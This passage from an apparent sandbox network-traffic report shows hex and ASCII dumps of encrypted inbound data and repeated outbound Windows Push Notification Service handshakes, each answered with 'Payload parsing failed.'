bc 0f 5c 29 Data Ascii: 0x?z{&>.ykW/\K--hjig.Lk9\|+ygv,X/tNkykD{QD@xar8hC?!3PpB\|x6O%kh4#",\&1as?oSf61\}n.kvnd_+JKH5:20Hm8\)
2024-12-18 16:17:45 UTC	1369	IN	Data Raw: e6 91 aa 1d fc 59 93 83 3b 61 bd b7 81 8b b1 4b 7a ed da fa 6a 69 c5 23 e8 fe 62 bd 24 ba 78 a0 60 ca 10 d3 fa b6 47 4c 3b 16 02 fc f2 ee 54 cd cd 3a d2 c3 77 58 cd 84 29 d2 d6 63 62 eb 18 6d 2a f0 70 0c b7 c7 24 5e 1c 1e d9 29 90 41 df b6 e5 78 d2 0d e9 f3 10 cd 0a df 2f 31 da 65 e7 bd 38 b9 e6 54 94 76 6a 08 d7 cf 50 98 6d 43 50 d6 1c 2c e6 67 06 88 27 92 34 0b 69 c4 db 27 a5 9d 52 bb 30 76 aa 46 e0 05 c2 c0 99 4a 6e 7a 92 b9 fc 8b e3 1a 28 0b b2 7c 05 17 4a e9 08 a1 e9 ad 3b 19 6e 68 4d 05 7f 88 72 ef 28 b1 73 7f ca d9 57 ba 2e 09 82 aa 16 6f c7 56 1e 04 39 ef 8b 1d 41 2c 1a f6 2c f5 73 5c 1a 2b 4a fe 11 fa 94 16 e7 8d c4 09 1f 78 b0 bd 44 fb 4a 87 9b 72 e0 76 52 45 cb 40 63 84 0c 30 ef 11 e1 f2 32 30 70 18 de c1 0a ba b4 40 91 37 b0 94 60 41 be da a0 Data Ascii: Y;aKzji#b$x`GL;T:wX)cbm*p$^)Ax/1e8TvjPmCP,g'4i'R0vFJnz(\|J;nhMr(sW.oV9A,,s\+JxDJrvRE@c020p@7`A
2024-12-18 16:17:45 UTC	1369	IN	Data Raw: 21 71 94 dc be 4d 53 7c b0 32 f9 69 c6 ce d0 3e e5 1a 8e 65 b0 18 9c fc 23 bc b8 2f 2a 1c b5 2d cd 48 70 b6 82 42 8b a9 d0 fa 9c 28 30 55 5e 9d ad a9 b2 11 b4 0e 83 67 98 0b c5 f0 6a db 02 84 c4 d8 7d 6a 35 b6 75 c3 87 ba 21 9e 92 70 12 10 25 3b de 39 bc d5 a3 84 b5 21 d0 89 e7 59 a4 57 be ae ef 8f 22 c6 4f 87 84 b7 a2 2c e5 9d 6a 32 4b 61 da c8 4b 32 b5 15 04 67 c8 c6 3a ec e6 d7 d3 8a b2 96 25 b2 75 85 a6 c3 2f cb fe a9 ec 3f 3d 84 f5 ff f4 fb 77 31 cf 99 24 2e 1a 02 85 76 b0 b9 0c 94 74 fa 59 66 f1 1c 86 e7 8a a9 db 34 20 03 ab 20 fe 53 60 90 c5 f3 e3 5b 19 3e 1a ba 37 24 b9 06 0c d0 5b fe 9b 9c 53 c8 2c 29 c1 21 1c ed b2 7d 36 46 df ff ad ec fa 34 e3 55 b3 ea 46 e1 6e 8e 89 3d c5 d7 79 e6 4e 61 5b e5 22 13 e6 89 6d 72 bd 61 97 86 8a c8 d1 3b 68 fb ff Data Ascii: !qMS\|2i>e#/*-HpB(0U^gj}j5u!p%;9!YW"O,j2KaK2g:%u/?=w1$.vtYf4 S`[>7$[S,)!}6F4UFn=yNa["mra;h

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:18:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 31 36 0d 0a 4d 53 2d 43 56 3a 20 58 55 77 6c 4e 6a 42 59 34 6b 69 69 37 62 6a 43 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 61 34 30 36 61 34 62 61 63 35 30 61 61 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 316MS-CV: XUwlNjBY4kii7bjC.1Context: e8a406a4bac50aa1
2024-12-18 16:18:06 UTC	260	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 32 32 36 33 31 2e 34 31 36 39 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 30 30 31 38 30 30 31 32 41 38 34 34 37 39 41 41 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.22631.4169</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>00180012A84479AA</deviceName><followRetry>true</followRetry></agent></con
2024-12-18 16:18:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 58 55 77 6c 4e 6a 42 59 34 6b 69 69 37 62 6a 43 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 61 34 30 36 61 34 62 61 63 35 30 61 61 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 45 78 39 65 37 41 6b 4a 57 6d 4c 5a 59 7a 72 4a 59 75 50 32 6d 44 6e 51 61 43 33 65 74 52 56 5a 62 46 70 45 35 45 4b 77 6a 77 49 4e 42 6f 73 45 43 57 56 45 6b 64 6a 4c 30 66 54 30 31 30 4b 64 56 65 34 70 61 4f 68 51 41 2f 2f 72 66 56 2f 72 51 54 72 31 61 6a 4f 6d 35 33 4c 32 66 70 6a 31 31 30 44 39 5a 2f 5a 57 66 47 55 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: XUwlNjBY4kii7bjC.2Context: e8a406a4bac50aa1<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXEx9e7AkJWmLZYzrJYuP2mDnQaC3etRVZbFpE5EKwjwINBosECWVEkdjL0fT010KdVe4paOhQA//rfV/rQTr1ajOm53L2fpj110D9Z/ZWfGUf
2024-12-18 16:18:06 UTC	224	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 39 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 58 55 77 6c 4e 6a 42 59 34 6b 69 69 37 62 6a 43 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 61 34 30 36 61 34 62 61 63 35 30 61 61 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044479 197MS-CV: XUwlNjBY4kii7bjC.3Context: e8a406a4bac50aa1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-18 16:18:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-18 16:18:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 49 57 44 31 55 35 34 64 7a 30 4f 6e 79 57 6f 51 61 46 35 47 37 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: IWD1U54dz0OnyWoQaF5G7g.0Payload parsing failed.

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:18:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 31 36 0d 0a 4d 53 2d 43 56 3a 20 30 69 50 69 6b 6f 35 42 6a 6b 57 67 54 44 38 32 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 32 61 64 37 37 38 37 38 38 30 30 63 31 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 316MS-CV: 0iPiko5BjkWgTD82.1Context: 8c2ad77878800c1c
2024-12-18 16:18:09 UTC	260	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 32 32 36 33 31 2e 34 31 36 39 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 30 30 31 38 30 30 31 32 41 38 34 34 37 39 41 41 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.22631.4169</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>00180012A84479AA</deviceName><followRetry>true</followRetry></agent></con
2024-12-18 16:18:09 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 30 69 50 69 6b 6f 35 42 6a 6b 57 67 54 44 38 32 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 32 61 64 37 37 38 37 38 38 30 30 63 31 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 45 78 39 65 37 41 6b 4a 57 6d 4c 5a 59 7a 72 4a 59 75 50 32 6d 44 6e 51 61 43 33 65 74 52 56 5a 62 46 70 45 35 45 4b 77 6a 77 49 4e 42 6f 73 45 43 57 56 45 6b 64 6a 4c 30 66 54 30 31 30 4b 64 56 65 34 70 61 4f 68 51 41 2f 2f 72 66 56 2f 72 51 54 72 31 61 6a 4f 6d 35 33 4c 32 66 70 6a 31 31 30 44 39 5a 2f 5a 57 66 47 55 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 0iPiko5BjkWgTD82.2Context: 8c2ad77878800c1c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXEx9e7AkJWmLZYzrJYuP2mDnQaC3etRVZbFpE5EKwjwINBosECWVEkdjL0fT010KdVe4paOhQA//rfV/rQTr1ajOm53L2fpj110D9Z/ZWfGUf
2024-12-18 16:18:09 UTC	224	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 39 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 30 69 50 69 6b 6f 35 42 6a 6b 57 67 54 44 38 32 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 32 61 64 37 37 38 37 38 38 30 30 63 31 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044479 197MS-CV: 0iPiko5BjkWgTD82.3Context: 8c2ad77878800c1c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-18 16:18:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-18 16:18:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 43 63 75 61 6c 49 6e 54 48 55 47 67 39 61 74 2b 6e 2b 6b 58 4c 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: CcualInTHUGg9at+n+kXLQ.0Payload parsing failed.

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:18:16 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 31 36 0d 0a 4d 53 2d 43 56 3a 20 4b 49 4b 49 62 47 37 4f 4d 30 69 5a 36 4d 5a 66 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 35 38 64 66 30 38 30 66 66 62 63 38 37 61 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 316MS-CV: KIKIbG7OM0iZ6MZf.1Context: 158df080ffbc87a7
2024-12-18 16:18:16 UTC	260	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 32 32 36 33 31 2e 34 31 36 39 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 30 30 31 38 30 30 31 32 41 38 34 34 37 39 41 41 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.22631.4169</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>00180012A84479AA</deviceName><followRetry>true</followRetry></agent></con
2024-12-18 16:18:16 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4b 49 4b 49 62 47 37 4f 4d 30 69 5a 36 4d 5a 66 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 35 38 64 66 30 38 30 66 66 62 63 38 37 61 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 45 78 39 65 37 41 6b 4a 57 6d 4c 5a 59 7a 72 4a 59 75 50 32 6d 44 6e 51 61 43 33 65 74 52 56 5a 62 46 70 45 35 45 4b 77 6a 77 49 4e 42 6f 73 45 43 57 56 45 6b 64 6a 4c 30 66 54 30 31 30 4b 64 56 65 34 70 61 4f 68 51 41 2f 2f 72 66 56 2f 72 51 54 72 31 61 6a 4f 6d 35 33 4c 32 66 70 6a 31 31 30 44 39 5a 2f 5a 57 66 47 55 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: KIKIbG7OM0iZ6MZf.2Context: 158df080ffbc87a7<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXEx9e7AkJWmLZYzrJYuP2mDnQaC3etRVZbFpE5EKwjwINBosECWVEkdjL0fT010KdVe4paOhQA//rfV/rQTr1ajOm53L2fpj110D9Z/ZWfGUf
2024-12-18 16:18:16 UTC	224	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 39 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4b 49 4b 49 62 47 37 4f 4d 30 69 5a 36 4d 5a 66 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 35 38 64 66 30 38 30 66 66 62 63 38 37 61 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044479 197MS-CV: KIKIbG7OM0iZ6MZf.3Context: 158df080ffbc87a7<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-18 16:18:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-18 16:18:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 33 69 56 55 30 78 5a 66 30 57 65 62 4f 37 6b 62 78 64 50 38 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 73iVU0xZf0WebO7kbxdP8Q.0Payload parsing failed.